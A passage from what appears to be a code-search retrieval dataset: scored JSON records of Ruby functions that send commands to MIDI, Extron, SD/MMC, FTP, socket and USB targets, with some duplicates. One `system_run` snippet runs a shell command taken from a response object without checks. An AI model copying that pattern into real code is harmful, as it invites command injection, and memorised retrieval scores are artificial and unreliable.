MIDIMessage::SystemExclusive::Node.new(args.first, options) unless args.empty?\n @state.sysex_node\n end", "title": "" }, { "docid": "1e7ec6dc84a86754be30d8a2906c9acb", "score": "0.5546233", "text": "def command(cmd)\n @mutex.synchronize do\n begin\n debug \"Sending command #{cmd.inspect}\"\n @w.print \"#{cmd}\\n\"\n wait_for_erlang_prompt\n rescue SystemCallError\n close\n end\n end\n end", "title": "" }, { "docid": "3ce992cbdbb2282aae24c71b15c163b1", "score": "0.5545407", "text": "def cmd_syst(param)\n send_response \"530 Not logged in\" and return unless @user\n send_response \"215 UNIX Type: L8\"\n end", "title": "" }, { "docid": "3ce992cbdbb2282aae24c71b15c163b1", "score": "0.5545407", "text": "def cmd_syst(param)\n send_response \"530 Not logged in\" and return unless @user\n send_response \"215 UNIX Type: L8\"\n end", "title": "" }, { "docid": "992728353b87d5852195bcbb31c97a09", "score": "0.55429363", "text": "def sendcmd(cmd); end", "title": "" }, { "docid": "214f479db727327fbf92f99e1b0d68b9", "score": "0.5499278", "text": "def sendmsg msg \n send_data \"sendmsg\\n%s\" % msg\n end", "title": "" }, { "docid": "ffd7573368fd9c314a19fa82b1d4a89a", "score": "0.5498125", "text": "def received(data, command)\n\t\tlogger.debug \"Extron SMX sent #{data}\"\n\t\t\n\t\tif command.nil? && data =~ /Copyright/i\n\t\t\tpass = setting(:password)\n\t\t\tif pass.nil?\n\t\t\t\tdevice_ready\n\t\t\telse\n\t\t\t\tdo_send(pass)\t\t# Password set\n\t\t\tend\n\t\telsif data =~ /Login/i\n\t\t\tdevice_ready\n\t\telse\n\t\t\tplane = data.to_i.to_s\n\t\t\tdata = data[plane.length..-1]\n\t\t\t\n\t\t\tcase data[0..1].to_sym\n\t\t\twhen :Am\t# Audio mute\n\t\t\t\tdata = data[3..-1].split('*')\n\t\t\t\tself[\"plane#{plane}_audio#{data[0].to_i}_muted\"] = data[1] == '1'\n\t\t\twhen :Vm\t# Video mute\n\t\t\t\tdata = data[3..-1].split('*')\n\t\t\t\tself[\"plane#{plane}_video#{data[0].to_i}_muted\"] = data[1] == '1'\n\t\t\twhen :In\t# Input to all outputs\n\t\t\t\t#\n\t\t\t\t# We are ignoring these as we are not getting the device information currently\n\t\t\t\t#\n\t\t\twhen :Ou\t# Output x to input y\n\t\t\t\tdata = data[3..-1].split(' ')\n\t\t\t\toutput = data[0].to_i\n\t\t\t\tinput = data[1][2..-1].to_i\n\t\t\t\tif data[2] =~ /(All|RGB|Vid)/\n\t\t\t\t\tself[\"plane#{plane}_video#{output}\"] = input\n\t\t\t\tend\n\t\t\t\tif data[2] =~ /(All|Aud)/\n\t\t\t\t\tself[\"plane#{plane}_audio#{output}\"] = input\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tif data == 'E22'\t# Busy! We should retry this one\n\t\t\t\t\tsleep(1)\n\t\t\t\t\treturn :failed\n\t\t\t\telsif data[0] == 'E'\n\t\t\t\t\tlogger.info \"Extron Error #{ERRORS[data[1..2].to_i]}\"\n\t\t\t\t\tlogger.info \"- for command #{command[:data]}\" unless command.nil?\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn :success\n\tend", "title": "" }, { "docid": "951f09f589c477006e240cab92611500", "score": "0.5469285", "text": "def send_command(data)\n\t\tmessage = header + data + ETX + checksum(data) + EOT\n\t\t@sp.puts message\n\tend", "title": "" }, { "docid": "6055d65a3f60712b61910121c1e05937", "score": "0.54383266", "text": "def sysinfo(msg)\n sysout(\"I: #{msg}\", TC_WHITE, BC_BLUE)\nend", "title": "" }, { "docid": "41d537c42ca976946a95b3b7a132b9d3", "score": "0.54222083", "text": "def sendError(msg)\n sendCmd \"ERROR #{msg}\"\nend", "title": "" }, { "docid": "39027f7e64ac356093c049967b7b2899", "score": "0.54023486", "text": "def puts_bytes(*data)\n type = sysex?(data) ? :sysex : :small\n bytes = API.get_midi_packet(data)\n send(\"puts_#{type}\", bytes, data.size)\n true\n end", "title": "" }, { "docid": "4ae8d726a859208fd52a66a49166e23a", "score": "0.53924733", "text": "def write_raw(msg = nil)\n msg = msg.map{|x| x.chr}.join if msg.is_a?(Array)\n\n $stdout.puts \"==> #{msg.chars.map{|x| x.ord}}\"\n\n if @flow_control == :hardware then\n @dev.syswrite(msg)\n elsif @flow_control == :software then\n # FIXME: make this better.\n require 'timeout'\n msg.each_char{|c|\n # Write a char\n # $stdout.print(c)\n @dev.syswrite(c)\n # @dev.flush # optional?\n\n control = \"\"\n begin\n Timeout::timeout(0.01){\n # Check flow control\n control = @dev.read(1)\n }\n rescue\n end\n\n\n if control == XOFF then #xoff\n while(not (@dev.read(1) == XON))do\n sleep(0.1)\n end\n end\n }\n else # no flow control at all\n @dev.syswrite(msg)\n end\n end", "title": "" }, { "docid": "6b5958a2bb9b546e53de82cd318acb94", "score": "0.5379519", "text": "def sendmsg(call, options = {})\n command \"SendMsg #{call}\", options\n end", "title": "" }, { "docid": "fcff30324187ede796059c9372ef418e", "score": "0.53611153", "text": "def console_message(msg)\n emit(ask_console_message(msg.force_encoding('utf-8')))\n end", "title": "" }, { "docid": "c4418c8ecbf2bda95dba57f6ac0bac5e", "score": "0.53402436", "text": "def received(data, command)\n\t\tlogger.debug \"Extron SW sent #{data}\"\n\t\t\n\t\tif command.present?\n\t\t\tcase data[0..1].to_sym\n\t\t\twhen :In\t# Input selected\n\t\t\t\tself[:output1] = data[2].to_i\n\t\t\twhen :Vm\t# Video mute\n\t\t\t\tself[\"output1_mute\"] = data[-1] == '1'\t# 1 == true\n\t\t\telse\n\t\t\t\tif data == 'E22'\t# Busy! We should retry this one\n\t\t\t\t\tsleep(1)\n\t\t\t\t\treturn :failed\n\t\t\t\telsif data[0] == 'E'\n\t\t\t\t\tlogger.info \"Extron Error #{ERRORS[data[1..2].to_i]}\"\n\t\t\t\t\tlogger.info \"- for command #{command[:data]}\" unless command.nil?\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t\n\t\treturn :success\n\tend", "title": "" }, { "docid": "54cfc125dd402f7a2701e81afc640e31", "score": "0.5332341", "text": "def send(mesg)\n \tputs \">>> Send: '#{mesg.address} #{mesg.to_a.join(' ')}' to: #{@host} #{@port}\"\n \t@so.send(mesg.encode, 0)\n\tend", "title": "" }, { "docid": "91b0c99179f2e4de05873e209e1f80a6", "score": "0.5281175", "text": "def hal_SdmmcSendCmd(cmd, arg)\r\n $SDMMC.SDMMC_CONFIG.w 0x00000000\r\n \r\n configReg = 0\r\n # configReg = $SDMMC.SDMMC_CONFIG.wl(0,0)\r\n configReg = $SDMMC.SDMMC_CONFIG.prepl(configReg)\r\n\r\n case cmd\r\n when SDMMC_CMD_GO_IDLE_STATE\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n \r\n\r\n \r\n when SDMMC_CMD_ALL_SEND_CID\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 2) # R2\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x51\r\n \r\n\r\n when SDMMC_CMD_SEND_RELATIVE_ADDR\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x11\r\n \r\n\r\n when SDMMC_CMD_SEND_IF_COND\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x11\r\n \r\n\r\n when SDMMC_CMD_SET_DSR\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n \r\n\r\n when SDMMC_CMD_SELECT_CARD\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n \r\n\r\n when SDMMC_CMD_SEND_CSD\t\t \r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 2) # R2\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n \r\n\r\n when SDMMC_CMD_STOP_TRANSMISSION\t\r\n # TODO\r\n configReg = 0\r\n \r\n\r\n when SDMMC_CMD_SEND_STATUS\t \r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL_OTHER .wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n \r\n\r\n when SDMMC_CMD_SET_BLOCKLEN\t \r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n \r\n\r\n when SDMMC_CMD_READ_SINGLE_BLOCK\t \r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_READ.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x111\r\n \r\n\r\n when SDMMC_CMD_READ_MULT_BLOCK\t\t\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_S_M_SEL_MULTIPLE.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_READ.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x511\r\n \r\n\r\n when SDMMC_CMD_WRITE_SINGLE_BLOCK\t\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_WRITE.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x311\r\n \r\n\r\n when SDMMC_CMD_WRITE_MULT_BLOCK\t \r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_S_M_SEL_MULTIPLE.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_WRITE.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x711\r\n \r\n\r\n when SDMMC_CMD_APP_CMD\t\t \r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x11\r\n \r\n\r\n when SDMMC_CMD_SET_BUS_WIDTH\t\t \r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x11\r\n \r\n\r\n when SDMMC_CMD_SEND_NUM_WR_BLOCKS\t\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_READ.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x111\r\n \r\n\r\n when SDMMC_CMD_SET_WR_BLK_COUNT\t \r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x11\r\n \r\n\r\n when SDMMC_CMD_MMC_SEND_OP_COND\r\n when SDMMC_CMD_SEND_OP_COND\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 1) # R3\r\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\r\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\r\n # 0x31\r\n \r\n\r\n else\r\n # TODO Raise excpetion ?\r\n puts \"SDMMC: Unknown command %d\" % [cmd]\r\n end\r\n \r\n # TODO Add suspend management\r\n $SDMMC.SDMMC_CMD_INDEX.COMMAND.w cmd\r\n $SDMMC.SDMMC_CMD_ARG.ARGUMENT.w arg\r\n $SDMMC.SDMMC_CONFIG.w configReg\r\n\r\n end", "title": "" }, { "docid": "c7f099688c4c9b57432ea5905d3342bf", "score": "0.5278921", "text": "def hal_SdmmcSendCmd(cmd, arg)\n $SDMMC.SDMMC_CONFIG.w 0x00000000\n \n configReg = 0\n # configReg = $SDMMC.SDMMC_CONFIG.wl(0,0)\n configReg = $SDMMC.SDMMC_CONFIG.prepl(configReg)\n\n case cmd\n when SDMMC_CMD_GO_IDLE_STATE\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n \n\n \n when SDMMC_CMD_ALL_SEND_CID\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 2) # R2\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x51\n \n\n when SDMMC_CMD_SEND_RELATIVE_ADDR\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x11\n \n\n when SDMMC_CMD_SEND_IF_COND\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x11\n \n\n when SDMMC_CMD_SET_DSR\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n \n\n when SDMMC_CMD_SELECT_CARD\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n \n\n when SDMMC_CMD_SEND_CSD\t\t \n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 2) # R2\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n \n\n when SDMMC_CMD_STOP_TRANSMISSION\t\n # TODO\n configReg = 0\n \n\n when SDMMC_CMD_SEND_STATUS\t \n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL_OTHER .wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n \n\n when SDMMC_CMD_SET_BLOCKLEN\t \n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n \n\n when SDMMC_CMD_READ_SINGLE_BLOCK\t \n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_READ.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x111\n \n\n when SDMMC_CMD_READ_MULT_BLOCK\t\t\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_S_M_SEL_MULTIPLE.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_READ.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x511\n \n\n when SDMMC_CMD_WRITE_SINGLE_BLOCK\t\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_WRITE.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x311\n \n\n when SDMMC_CMD_WRITE_MULT_BLOCK\t \n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_S_M_SEL_MULTIPLE.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_WRITE.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x711\n \n\n when SDMMC_CMD_APP_CMD\t\t \n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x11\n \n\n when SDMMC_CMD_SET_BUS_WIDTH\t\t \n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x11\n \n\n when SDMMC_CMD_SEND_NUM_WR_BLOCKS\t\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_SEL_READ.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_RD_WT_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x111\n \n\n when SDMMC_CMD_SET_WR_BLK_COUNT\t \n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 0)\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x11\n \n\n when SDMMC_CMD_MMC_SEND_OP_COND\n when SDMMC_CMD_SEND_OP_COND\n configReg = $SDMMC.SDMMC_CONFIG.RSP_SEL.wl(configReg, 1) # R3\n configReg = $SDMMC.SDMMC_CONFIG.RSP_EN.wl(configReg, 1)\n configReg = $SDMMC.SDMMC_CONFIG.SDMMC_SENDCMD.wl(configReg, 1)\n # 0x31\n \n\n else\n # TODO Raise excpetion ?\n puts \"SDMMC: Unknown command %d\" % [cmd]\n end\n \n # TODO Add suspend management\n $SDMMC.SDMMC_CMD_INDEX.COMMAND.w cmd\n $SDMMC.SDMMC_CMD_ARG.ARGUMENT.w arg\n $SDMMC.SDMMC_CONFIG.w configReg\n\n end", "title": "" }, { "docid": "fe676a2d443f26852ae1b9ff438028c5", "score": "0.52629304", "text": "def sendCommand(comstr)\n @socket.send(comstr,0,@shost,@sport) ;\n @cvMotor.lockedSignal() ; \n logging(LogLevel_Command,\n\t 'command',comstr, true) ;\n end", "title": "" }, { "docid": "0c0f1e1a2160ce0390d784145357f34a", "score": "0.52503616", "text": "def send_cmd(cmd)\n payload = [PAYLOAD_START, cmd, 0, 0, 0, 0, 0, 0]\n @handle.usb_control_msg(REQUEST_TYPE, REQUEST, 0, 0, payload.pack('CCCCCCCC'), 0)\n end", "title": "" }, { "docid": "b522d6f23bffac58fc49c2debd78bafa", "score": "0.5231084", "text": "def send!(seqNo, *msgArray)\n if msgArray.empty?\n debug(\"ERROR - send! - not sending empty message!\")\n else\n message = \"#{NodeAgent.instance.agentName} 0 #{LineSerializer.to_s(msgArray)}\"\n debug(\"Send message: '#{message}'\")\n @sock.write(message)\n end\n end", "title": "" }, { "docid": "88240cf390e3aceff709d8b14efd883f", "score": "0.52193254", "text": "def write_output(device, data)\n bytes = Java::byte[data.size].new\n data.each_with_index { |byte, i| bytes.ubyte_set(i, byte) }\n if SYSEX_STATUS_BYTES.include?(data.first)\n message = SysexMessage.new\n message.set_message(bytes, data.length.to_java(:int))\n else\n message = ShortMessage.new\n begin\n message.set_message(*bytes)\n rescue\n # support older java versions\n message.set_message(bytes)\n end\n end\n @receiver[device].send(message, device.get_microsecond_position)\n true\n end", "title": "" }, { "docid": "b25a174ef48b623ff23019aefbccb3da", "score": "0.5215594", "text": "def syserr(msg)\n sysout(\"E: #{msg}\", TC_RED, BC_BLUE)\nend", "title": "" }, { "docid": "232fe1d863a1ff64290d00ec2ea7413c", "score": "0.5189858", "text": "def send(mesg, flags)\n Polyphony.backend_send(self, mesg, flags)\n end", "title": "" }, { "docid": "23471959b3586c667ca2b10b90c192fb", "score": "0.51851845", "text": "def send!(seqNo, *msgArray)\n message = \"#{NodeAgent.instance.agentName} 0 #{LineSerializer.to_s(msgArray)}\"\n debug(\"Send message: '#{message}'\")\n @sock.write(message)\n end", "title": "" }, { "docid": "38ffd175fa8f345fa986c96671c0d3dd", "score": "0.51586396", "text": "def send_message msg\n send_data \"\\x00#{msg}\\xff\"\n end", "title": "" }, { "docid": "bcd19b14746236821ca8d63ae4887c13", "score": "0.513871", "text": "def create\n @sys_msg = SysMsg.new(sys_msg_params)\n set_accept_users\n set_interval(@sys_msg)\n\n respond_to do |format|\n if @sys_msg.save\n format.json { render :show, status: :created, location: @sys_msg }\n else\n format.json { render json: @sys_msg.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "c98fa6df46c69fbbc67898302f656393", "score": "0.51073813", "text": "def invalid_command\n\t\t# Invalid command message here\n\t\tputs 'Invalid command!'\n\tend", "title": "" }, { "docid": "e77d62694844868c1dea321b4763843a", "score": "0.51009995", "text": "def send(msg,type=2) ## type: 1 SIGNON, 2 DATA\r\n\t\t@tid += 1\r\n\t\tmsg << [].pack(\"x\") if type == 2\r\n\t\tbuf = [0x2a,type,@tid,msg.size,msg].pack(\"C2nna#{msg.size}\")\r\n\t\tdebug [\"SEND\",buf]\r\n\t\t@fd.write(buf)\r\n\t\t@fd.flush\r\n\t\treturn nil\r\n\tend", "title": "" }, { "docid": "b946a8efabad99c301667efef3bd4e6d", "score": "0.5098016", "text": "def __sendmsg__(socket, address, flag)\n LibXS.xs_sendmsg(socket, address, flag)\n end", "title": "" }, { "docid": "82225a4a03659656ff920ed2498aa1bb", "score": "0.5082229", "text": "def shell_write(buf)\n #mfimpl\n return unless buf\n\n begin\n framework.events.on_session_command(self, buf.strip)\n rstream.write(Rex::Text.to_ibm1047(buf))\n rescue ::Rex::SocketError, ::EOFError, ::IOError, ::Errno::EPIPE => e\n shell_close\n raise e\n end\n end", "title": "" }, { "docid": "2c66df3cbbf56dc409ed66d0a53bab51", "score": "0.50697124", "text": "def system_run\n \n @message = `#{@response[:system][:command]}`\n \n end", "title": "" }, { "docid": "a186592d7b50ee97fff258e00148baca", "score": "0.5060794", "text": "def create\n @sys_msg = SysMsg.new(sys_msg_params)\n set_accept_users\n respond_to do |format|\n if @sys_msg.save\n format.html { redirect_to @sys_msg, notice: '成功创建系统消息!' }\n format.json { render :show, status: :created, location: @sys_msg }\n else\n format.html { render :new }\n format.json { render json: @sys_msg.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fdd9e1687823ff3e526a467e3e9f2755", "score": "0.50599164", "text": "def console_message(msg)\n emit(status_message(msg.force_encoding('utf-8')))\n end", "title": "" }, { "docid": "fdd9e1687823ff3e526a467e3e9f2755", "score": "0.50599164", "text": "def console_message(msg)\n emit(status_message(msg.force_encoding('utf-8')))\n end", "title": "" }, { "docid": "93af41763d94e8539e15b058dde78ab1", "score": "0.5053497", "text": "def synthesis_cmd (component, scrfile)\n Dir.chdir('synthesis')\n printf(\"%10s %s\\n\",\"synthesis:\", component)\n FileUtils.mkdir_p(NGC_SCRATCHDIR) unless File.directory? NGC_SCRATCHDIR\n logfile = \"#{NGC_SCRATCHDIR}/#{component}_xst.srp\"\n cmd = %Q[xst -ifn #{scrfile} -ofn #{logfile} -intstyle silent]\n # p cmd\n %x[#{cmd}]\n # sh %Q[xst -ifn #{scrfile} -intstyle ise]\n if $?.exitstatus != 0\n msg = \"#-- \\t Error: check '#{logfile}' for details.\\n\"\n $stderr.print( \"#-- \" + \"-\"*msg.size + \" --#\\n\")\n $stderr.print(msg)\n $stderr.print( \"#-- \" + \"-\"*msg.size + \" --#\\n\")\n puts %x[tail #{logfile}]\n $stderr.print( \"#-- \" + \"-\"*msg.size + \" --#\\n\")\n exit\n end\n Dir.chdir('..')\n\n # move results to NGC_RESULTSDIR\n FileUtils.mkdir_p(NGC_RESULTSDIR) unless File.directory? NGC_RESULTSDIR\n ngcfile = \"implementation/#{component}.ngc\"\n FileUtils.mv(ngcfile, \"#{NGC_RESULTSDIR}/\") if File.file? ngcfile\n\n # remove xst temporary dir\n FileUtils.rm_rf(\"synthesis/xst\") if File.directory? \"synthesis/xst\"\nend", "title": "" }, { "docid": "93af41763d94e8539e15b058dde78ab1", "score": "0.5053497", "text": "def synthesis_cmd (component, scrfile)\n Dir.chdir('synthesis')\n printf(\"%10s %s\\n\",\"synthesis:\", component)\n FileUtils.mkdir_p(NGC_SCRATCHDIR) unless File.directory? NGC_SCRATCHDIR\n logfile = \"#{NGC_SCRATCHDIR}/#{component}_xst.srp\"\n cmd = %Q[xst -ifn #{scrfile} -ofn #{logfile} -intstyle silent]\n # p cmd\n %x[#{cmd}]\n # sh %Q[xst -ifn #{scrfile} -intstyle ise]\n if $?.exitstatus != 0\n msg = \"#-- \\t Error: check '#{logfile}' for details.\\n\"\n $stderr.print( \"#-- \" + \"-\"*msg.size + \" --#\\n\")\n $stderr.print(msg)\n $stderr.print( \"#-- \" + \"-\"*msg.size + \" --#\\n\")\n puts %x[tail #{logfile}]\n $stderr.print( \"#-- \" + \"-\"*msg.size + \" --#\\n\")\n exit\n end\n Dir.chdir('..')\n\n # move results to NGC_RESULTSDIR\n FileUtils.mkdir_p(NGC_RESULTSDIR) unless File.directory? NGC_RESULTSDIR\n ngcfile = \"implementation/#{component}.ngc\"\n FileUtils.mv(ngcfile, \"#{NGC_RESULTSDIR}/\") if File.file? ngcfile\n\n # remove 